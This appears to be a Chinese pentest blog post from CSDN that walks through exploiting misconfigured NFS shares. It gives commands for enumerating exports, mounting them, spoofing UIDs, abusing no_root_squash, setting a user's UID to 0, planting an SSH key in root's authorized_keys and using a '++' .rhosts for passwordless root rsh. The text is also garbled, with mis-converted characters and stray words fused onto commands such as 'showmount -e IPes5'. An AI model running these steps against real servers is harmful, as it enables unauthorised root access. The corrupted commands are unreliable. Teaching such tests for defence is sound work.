NFS(Network File System)即網絡文件系統,是FreeBSD支持的文件系統中的一種,它容許網絡中的計算機之間經過TCP/IP網絡共享資源。在NFS的應用中,本地NFS的客戶端應用能夠透明地讀寫位於遠端NFS服務器上的文件,就像訪問本地文件同樣。現在NFS具有了防止被利用導出文件夾的功能,但遺留系統中的NFS服務配置不當,則仍可能遭到惡意攻擊者的利用。shell
發現NFS服務安全
NFS服務的默認開放端口爲2049/TCP,所以咱們能夠藉助Nmap來針對性的進行探測。服務器
2049/tcp open nfs 2-4(RPC #100003)網絡
此外,咱們也能夠經過rpcinfo命令來肯定主機上是否運行或掛載了NFS服務。框架
rpcinfo -p IPssh
顯示導出文件夾列表tcp
如下命令將會檢索給定主機的導出文件夾列表,這些信息將被用於訪問這些文件夾。工具
showmount -e IPes5
當showmount命令與如下參數一塊兒使用時,能夠爲咱們檢索到更多的信息,例如:.net
掛載點
鏈接的主機
目錄
showmount IP // 鏈接的主機
showmount -d IP // 目錄
showmount -a IP // 掛載點
另外,Metasploit框架中也有一個模塊,能夠用來列出導出文件夾。
auxiliary/scanner/nfs/nfsmount
在這裏我再推薦一個實用的小工具NFS Shell,它能夠鏈接到NFS共享並能夠幫助咱們手動識別一些常見的安全問題。想要使用它咱們首先須要安裝如下依賴項:
apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell
使用如下命令獲取導出文件夾列表:
nfs> host IP // 鏈接NFS服務
nfs> export // 導出NFS列表
訪問NFS共享
導出的文件夾能夠經過建立一個空的本地文件夾,並將共享掛載到該文件夾來訪問,以下所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
當成功驗證共享掛載後,咱們能夠經過如下命令來列出全部的本地磁盤信息。
df -h
此時,咱們能夠像訪問其餘文件夾同樣輕鬆的訪問共享文件夾。
cd /temp/
ls
UID操做
若是對於共享上的文件咱們沒有讀取權限該怎麼辦?其實這也很簡單,咱們能夠僞造文件全部者的UID來欺騙NFS服務器。如下展現的是NFS文件訪問拒絕提示:
首先,咱們經過如下命令來獲取文件全部者的UID(用戶ID)和GUID(組ID)。
ls -al
接着,咱們在本地建立一個新用戶,並將該用戶的UID和名稱修改成與文件全部者相同。
useradd <user>
passwd <user>
UID能夠在passwd文件中更改。
vi /etc/passwd
從掛載的文件夾執行su命令,並使用以前建立的已知密碼,此時當前用戶將會被切換到新用戶。
su <useraccount>
因爲該文件的UID與新用戶的UID相同,所以系統會誤認爲這是文件權限的全部者,這樣咱們就能夠以一個合法的用戶身份來讀取文件的內容了。
之因此形成這種問題,緣由在於導出文件夾並未設置root_squash選項。root_squash登入NFS主機,使用該共享目錄時至關於該目錄的擁有者。可是若是是以root身份使用這個共享目錄的時候,那麼這個使用者(root)的權限將被壓縮成爲匿名使用者,即一般他的UID與GID都會變成nobody那個身份,以防止越權訪問。
能夠在如下位置啓用或禁用root_squash選項:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash
若是passwd文件具備寫入權限,那麼咱們能夠經過將一些非特權用戶的UID更改成0,使其具備根級別的訪問權限。從下圖中能夠看到,我將service用戶的UID修改成了0,此時該用戶將具有root的訪問權限。
經過SSH鏈接命令再次與目標服務器創建鏈接,service將獲取到一個root訪問權限。
shell訪問
根據存儲在導出文件夾中的文件,可能能夠經過SSH或RSH和Rlogin來獲取到shell訪問權限。 咱們着重來關注如下兩個文件:
authorized_keys
rhosts
這兩個文件都隱藏在NFS文件夾中,咱們能夠利用如下命令來肯定這些文件的存在。
ls -al
生成一個SSH密鑰對並將其公鑰添加到受權密鑰列表中,那樣咱們就能夠經過NFS服務器上的SSH與其創建鏈接了。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
.rhosts文件用來配置哪些遠程主機或用戶能夠訪問系統上的本地賬戶。若是.rhosts文件的內容爲++符號,則說明它容許來自網絡上的任何主機和用戶的鏈接。
cat .rhosts
++
如下命令將容許系統的root用戶直接鏈接目標系統,系統將不會提示密碼輸入,由於來自系統的全部用戶都將被信任。
rsh -l root IP
rlogin -l root IP
或者若是.rhosts的內容不一樣,則檢查文件將有助於肯定哪些主機和用戶是可信的,所以能夠在無需密碼的狀況下進行身份驗證。
做者:CanMengBlog
來源:CSDN
原文:https://blog.csdn.net/weixin_... 版權聲明:本文爲博主原創文章,轉載請附上博文連接!